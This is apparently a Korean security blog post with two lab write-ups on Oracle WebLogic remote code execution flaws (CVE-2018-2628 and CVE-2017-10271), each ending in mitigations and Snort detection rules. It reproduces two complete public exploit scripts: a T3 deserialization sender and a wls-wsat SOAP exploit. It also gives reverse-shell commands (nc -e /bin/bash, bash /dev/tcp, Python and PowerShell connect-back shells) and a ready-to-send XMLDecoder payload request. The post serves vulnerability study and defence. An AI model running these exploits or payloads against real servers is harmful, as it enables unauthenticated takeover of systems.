1. WebLogic

- Oracle사에서 개발한 Web Application Server로 JAVAEE 아키텍처를 기반으로 하는 미들 웨어

 

Weblogic Server | Oracle

Oracle WebLogic Server is a unified, extensible platform for developing and deploying enterprise Java applications, on-premises or in the cloud.

www.oracle.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-2628

- Oracle WebLogic 서버의 RMI 레지스트리를 역직렬화로 원격 코드를 실행할 수 있는 취약점

- 기본 포트 7001를 사용하는 서버를 대상으로 공격이 이루어지지만 다른 포트를 사용 중인 경우에도 공격

영향받는 버전
- Oracle Weblogic 10.3.6.0 / 12.2.1.2 / 12.1.3.0 / 12.2.1.3

 

2.1 공격 흐름

① 공격자는 Weblogic 서버에서 오픈된 T3 프로토콜과 소켓 통신 생성

② 조작된 페이로드를 전송

③ 원격 서버가 전송받은 페이로드를 역직렬화하여 원격코드 실행

[사진 2] https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

 

Java RMI
- 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술
- 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출
- 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용
- 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용

Weblogic T3 프로토콜
- WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜

 

2.2 실습

- Oracle Weblogic 10.3.6.0 정상 접근 확인

[사진 3] WebLogic 구동

 

- 먼저 공격자는 다음 명령을 수행

※ 해당 명령어는 포트를 열고 Listen을 하면서 대기중인 상태

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "nc 192.168.56.102 4444 -e /bin/bash"

[사진 4] 1099 포트 오픈 명령

 

- 이와 동시에 공격자는 리버스 쉘 생성을 위한 명령을 수행

[사진 5] 리버스 쉘

 

- 공개된 exploit을 이용해 페이로드 전송

※ exploit : https://www.exploit-db.com/exploits/44553

python 44553.py 192.168.56.112 7001 ysoserial-all.jar 192.168.56.102 1099 JRMPClient

[사진 6] exploit 페이로드 전송

- [사진 4]의 terminal을 확인해보면 [사진 7]과 같은 문자열이 확인됨

[사진 7] Listener Terminal

 

- 이후 [사진 5]의 리버스쉘 생성되며, 이에 따라 원격 명령 수행이 가능해짐

※ 실습에서는 리버스 쉘 생성이 되지않아, 와이어샤크를 통해 패킷 확인 결과 다른 IP로의 연결 시도가 된것으로 판단

[사진 8] 패킷 확인

 

- 위 과정이 정상적으로 이루어진 경우 리버스 쉘 생성과 원격 명령 수행이 가능해짐

[사진 9] 리버스 쉘 생성(위) 및 패킷 확인(아래)

2.3 PoC

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

 

- 실제 공격을 시도하는 exploit()은 크게 3부분으로 이루어짐

① 취약 서버와 T3 통신을 위한 소켓 sock 생성

② 서버 정보를 따로 저장한 변수와 sock을 이용해 T3 서비스와 연결 생성

③ 소켓 연결 후 ysoserial의 JRMPClient2 라이브러리를 사용해 RMI Connection 포트 1099 오픈 페이로드 생성 및 취약 서버에 페이로드 전송

[사진 10] exploit()

함수 설명
t3_handshake() 서버정보를 통해 socket을 이용하여 T3 서비스와 통신을 위한 함수
build_t3_request_object() T3 서비스와 통신 후에 socket 연결을 맺는 함수
generate_payload() Socket 연결이 맺어진 후에 ysoserial의 JRMPClient2 라이브러리를 사용하여 RMI Connection 포트(1099)를 오픈하는 Payload를 생성하는 함수
send_payload_objdata Weblogic Server에 Socket을 통해 Payload를 전송하는 함수

 

3. 대응방안

3.1 서버측면

① 최신 버전으로 업데이트 적용

② Weblogic Server 포트 변경

- Weblogic Server의 기본 포트 7001를 사용 중인 시스템이 대상이 되는 취약점

- 기본 포트를 사용할 경우에는 다른 포트로 변경하여 사용

- 다른 포트를 사용할 경우에는 해당 포트에 대해 접근 제한을 적용

 

3.2 네트워크 측면

① 보안장비에 탐지 정책 적용

- 직렬화 데이터는 해당 데이터가 직렬화된 데이터라는 것을 알려주는 "ac ed 00 05"라는 시그니처를 가짐

[사진 11] ac ed 00 05

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established;content:"|AC ED 00 05|";content:”Registry”;fast_pattern:only;)

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established; content:”|AC ED 00 05|”; content:”InvocationHandler”; fast_pattern:only;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2018-2628

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

- https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

https://www.exploit-db.com/exploits/44553

https://github.com/frohoff/ysoserial
- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=27186&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTgtMjYyOA== 

- https://teamsign.tistory.com/3

1. Oracle WebLogic

- 오라클이 개발한 웹 애플리케이션 서버

- JAVAEE 아키텍처를 기반으로 하는 미들웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-10271

- Oracle WebLogic Server WLS Security 구성 요소에서 부적절한 사용자 입력 값 처리로 인해 인증되지 않은 공격자가 WebLogic의 권한으로 원격 코드 실행이 가능한 취약점

- 해당 취약점을 이용해 암호화폐 채굴프로그램을 실행하는 이슈가 있다고 함

① 영향받는 버전
- Oracle Weblogic Server 10.3.3.0
- Oracle Weblogic Server 10.3.6 0
- Oracle Weblogic Server 12.2.1.1
- Oracle Weblogic Server 12.2.1.2
- Oracle Weblogic Server 12.1.3.0

 

2.1 실습

- docker 빌드 및 실행

git clone https://github.com/vulhub/vulhub
cd /vulhub/weblogic/CVE-2017-10271
docker-compose up -d

[사진 2] docker 성공적 실행

- 공격자의 터미널 생성

[사진 3] 터미널 생성

- Exploit 수행

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.56.112:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.56.102/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 

- Exploit 결과 공격자는 쉘을 획득하고, 임의의 명령을 수행할 수 있게됨

- 이 외에도 웹쉘 생성 등이 가능함

[사진 4] 쉘 획득

- Exploit 과정의 패킷 확인

[사진 5] 와이어샤크 확인

2.2 분석

- 정리하면 XML을 구문 분석하는 과정에서 Element 필드 값이 Object 이면 예외가 발생하며 이로 인해 취약점이 발생

- wls-wsat.war에서 발생하며, 이 구성 요소는 weblogic과 함께 제공되는 webservices 핸들러를 사용하여  SOAP 요청을 처리

- WorkContextServerTube 클래스의 processRequest 메소드사용자 요청에서 XML을 분할하여 실제 실행될 XML을 추출하여 readHeaderOld 메소드에 넘겨줌

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

 

[사진 6] processRequest 메소드

 

- ByteArrayOutputStream var4는 PoC 코드의 실제 실행 부분으로 채워짐 (해당 근거는 정확히 모르겠음)

[사진 7] readHeaderOld 메소드

 

- [사진 7]에서 덮어씌워진 공격 코드가 [사진 8]의 XMLDecoder에 의해 실행

[사진 8]&nbsp;XMLDecoder

2.3 PoC

- 사용자로부터 인수(self.cmd_base(), self.cmd_opt(), self.cmd_payload)를 전달받아 get_process_builder_payload 함수에서 공격 페이로드를 완성

- 요청 URL : /wls-wsat/CoordinatorPortType

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Weblogic wls-wsat Component Deserialization RCE
# Date Authored: Jan 3, 2018
# Date Announced: 10/19/2017
# Exploit Author: Kevin Kirsche (d3c3pt10n)
# Exploit Github: https://github.com/kkirsche/CVE-2017-10271
#     Exploit is based off of POC by Luffin from Github
#     https://github.com/Luffin/CVE-2017-10271
# Vendor Homepage: http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
# Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0
# Tested on: Oracle WebLogic 10.3.6.0.0 running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS
# CVE: CVE-2017-10271
# Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
#   (Python 3) Example check listener: python3 -m http.server 4444
#   (Python 2) Example check listener: python -m SimpleHTTPServer 4444
#   (Netcat) Example exploit listener: nc -nlvp 4444

from requests import post
from argparse import ArgumentParser
from random import choice
from string import ascii_uppercase, ascii_lowercase, digits
from typing import Literal
from xml.sax.saxutils import escape

class Exploit:

    def __init__(self, check: bool, rhost: str, lhost: str, lport: str, windows: bool) -> None:
        self.url = rhost.strip("/") if rhost.endswith('/') else rhost
        self.lhost = lhost
        self.lport = lport
        self.check = check
        self.target = "win" if windows else "unix"

        if self.target == 'unix':
            # Unix reverse shell
            # You should also be able to instead use something from MSFVenom. E.g.
            # msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444
            self.cmd_payload = (
                "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
                "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
                "s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
            ).format(lhost=self.lhost, lport=self.lport)
        else:
            # Windows reverse shell
            # Based on msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4444
            self.cmd_payload = (
                r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
                r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +""
                r"';$p='"+ self.lport + "';$c=New-Object system.net.sockets.tcpclient;$c.connect($a"
                r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
                r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
                r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
                r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
                r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
                r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
                r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
                r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)"
                r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;"
                r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};"
                r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if "
                r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne"
                r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e."
                r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
            )
        self.cmd_payload = escape(self.cmd_payload)

    def cmd_base(self) -> Literal["cmd", "/bin/sh"]:
        return "cmd" if self.target == "win" else "/bin/sh"

    def cmd_opt(self) -> Literal["/c", "-c"]:
        return "/c" if self.target == "win" else "-c"

    def get_generic_check_payload(self) -> str:
        random_uri = ''.join(
            choice(ascii_uppercase + ascii_lowercase + digits)
            for _ in range(16))
        return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <void id="url" class="java.net.URL">
          <string>http://{self.lhost}:{self.lport}/{random_uri}</string>
        </void>
        <void idref="url">
          <void id="stream" method = "openStream" />
        </void>
      </java>
    </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''

    def get_process_builder_payload(self) -> str:
        return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3" >
            <void index="0">
              <string>{self.cmd_base()}</string>
            </void>
            <void index="1">
              <string>{self.cmd_opt()}</string>
            </void>
            <void index="2">
              <string>{self.cmd_payload}</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''

    def print_banner(self) -> None:
        print("=" * 80)
        print("CVE-2017-10271 RCE Exploit")
        print("written by: Kevin Kirsche (d3c3pt10n)")
        print(f"Remote Target: {self.url}")
        print(f"Shell Listener: {self.lhost}:{self.lport}")
        print("=" * 80)

    def post_exploit(self, data: str) -> None:
        headers = {
            "Content-Type":
            "text/xml;charset=UTF-8",
            "User-Agent": (
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 "
                + "(KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
            ),
        }
        vulnurl = f"{self.url}/wls-wsat/CoordinatorPortType"
        try:
            _ = post(
                vulnurl, data=data, headers=headers, timeout=10, verify=False)
            if self.check:
                print("[*] Did you get an HTTP GET request back?")
            else:
                print("[*] Did you get a shell back?")
        except Exception as e:
            print('[!] Connection Error')
            print(e)

    def run(self) -> None:
        self.print_banner()
        if self.check:
            print('[+] Generating generic check payload')
            payload = self.get_generic_check_payload()
        else:
            print('[+] Generating execution payload')
            payload = self.get_process_builder_payload()
        print('[*] Generated:')
        print(payload)
        if self.check:
            print('[+] Running generic check payload')
        else:
            print(f'[+] Running {self.target} execute payload')

        self.post_exploit(data=payload)


if __name__ == "__main__":
    parser = ArgumentParser(
        description=(
            "CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. "
            + "Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, "
            + "12.2.1.1.0 and 12.2.1.2.0."
        )
    )
    parser.add_argument(
        "-l",
        "--lhost",
        required=True,
        dest="lhost",
        nargs="?",
        help="The listening host that the remote server should connect back to",
    )
    parser.add_argument(
        "-p",
        "--lport",
        required=True,
        dest="lport",
        nargs="?",
        help="The listening port that the remote server should connect back to",
    )
    parser.add_argument(
        "-r",
        "--rhost",
        required=True,
        dest="rhost",
        nargs="?",
        help="The remote host base URL that we should send the exploit to",
    )
    parser.add_argument(
        "-c",
        "--check",
        dest="check",
        action="store_true",
        help=(
            "Execute a check using HTTP to see if the host is vulnerable. This will"
            + "cause the host to issue an HTTP request. This is a generic check."
        ),
    )
    parser.add_argument(
        "-w",
        "--win",
        dest="windows",
        action="store_true",
        help="Use the windows cmd payload instead of unix payload (execute mode only).",
    )

    args = parser.parse_args()

    exploit = Exploit(
        check=args.check,
        rhost=args.rhost,
        lhost=args.lhost,
        lport=args.lport,
        windows=args.windows,
    )
    exploit.run()

 

- PoC에서 확인된 URL외 다음 URL을 통한 공격도 가능

- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

3. 대응방안

3.1 서버측면

① 최신 버전 업데이트 적용

- object , new , method , void 및 array 와 같은 필드의 사용을 제한함으로써 보안 우회를 방지

private void validate(InputStream is) {
 WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
 
 try {
  SAXParser parser = factory.newSAXParser();
  
  parser.parse(is, new DefaultHandler()) {
   private int overallarraylength = 0;
   
   public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
    if (qName.equalsIgnoreCase("object")) {
     throw new IllegalStateException("Invalid element qName:object");
    } else if (qName.equalsIgnoreCase("new")) {
     throw new IllegalStateException("Invalid element qName:new");
    } else if (qName.equalsIgnoreCase("method")) {
     throw new IllegalStateException("Invalid element qName:method");
    } else {
     if (qName.equalsIgnoreCase("void")) {
      for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
       if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
        throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
       }
      }
     }
     
     ... more code here ...
    }
   }
  }
 }
}

 

- patch v171017 이상 버전의 패치로 업데이트

※ 10.3.5 이하는 10.3.6으로 업데이트 후 패치

※ 패치 링크는 Oracle 계약이 되어있는 계정만 확인 가능

Product Home
Patch
Advisory Number
Comments
WebLogic Server 12.2.1.2 home
WLS PSU 12.2.1.2.171017 Patch 26485996
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 12.2.1.1 home
WLS PSU 12.2.1.1.171017 Patch 26519400
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 12.1.3.0 home
WLS PSU 12.1.3.0.171017 Patch 26519417
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 10.3.6.0 home
WLS PSU 10.3.6.0.171017 Patch 26519424
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
See Note 1607170.1, SSL Authentication Problem Using WebLogic 10.3.6 and 12.1.1 With JDK1.7.0_40 or Higher
Fix for CVE-2017-5638 is not included in the WLS PSU patches. See Note 2255054.1, "Upgrade Apache Struts 2 to Version 2.3.32 for WebLogic Code Example"

 

② 업데이트가 불가할 경우 다음 중 한 가지를 수행

⒜ wls-wsat 컴포넌트 URL을 웹 방화벽에서 차단

- /wls-wsat/*

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

⒝ wls-wsat 컴포넌트 삭제

- find / -name *wls-wsat* 검색 후 삭제

[사진 9] wls-wsat 컴포넌트 삭제

 

⒞ wls-wsat 컴포넌트 비활성화 옵션 추가

# setDomainEnv.sh 파일을 설정하거나 본인이 알고있다면 다른 쉘스크립트를 수정해도 된다.
# $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정
1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$ vi setDomainEnv.sh

... (생략)
JAVA_PROPERTIES="${JAVA_PROPERTIES} ${WLP_JAVA_PROPERTIES}"
export JAVA_PROPERTIES

JAVA_OPTIONS="${JAVA_OPTIONS} ${JAVA_PROPERTIES} -Dwlw.iterativeDev=${iterativeDevFlag} -Dwlw.testConsole=${testConsoleFlag} -Dwlw.logErrorsToConsole=${logErrorsToConsoleFlag}"
JAVA_OPTIONS="-Dweblogic.wsee.wstx.wsat.deployed=false ${JAVA_OPTIONS}"
export JAVA_OPTIONS
... (생략)

1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$

 

3.2 네트워크 측면

- wls-wsat 컴포넌트틀 통한 요청을 탐지할 수 있는 정책 생성 및 적용

alert tcp any any -> any any (msg:"Oracle WebLogic WLS Security Component RCE (CVE-2017-10271)"; flow:established,from_client; content:"wls-wsat"; http_uri; nocase;)

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

4. 참고

- https://nvd.nist.gov/vuln/detail/CVE-2017-10271

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26948 

- https://www.oracle.com/security-alerts/cpuoct2017.html

- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

- https://bl4ck.in/vulnerability/analysis/2017/12/22/WebLogic-WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

- https://paper.seebug.org/487/

- https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/

- http://1004lucifer.blogspot.com/2018/

- http://genes1s.egloos.com/3079282

+ Recent posts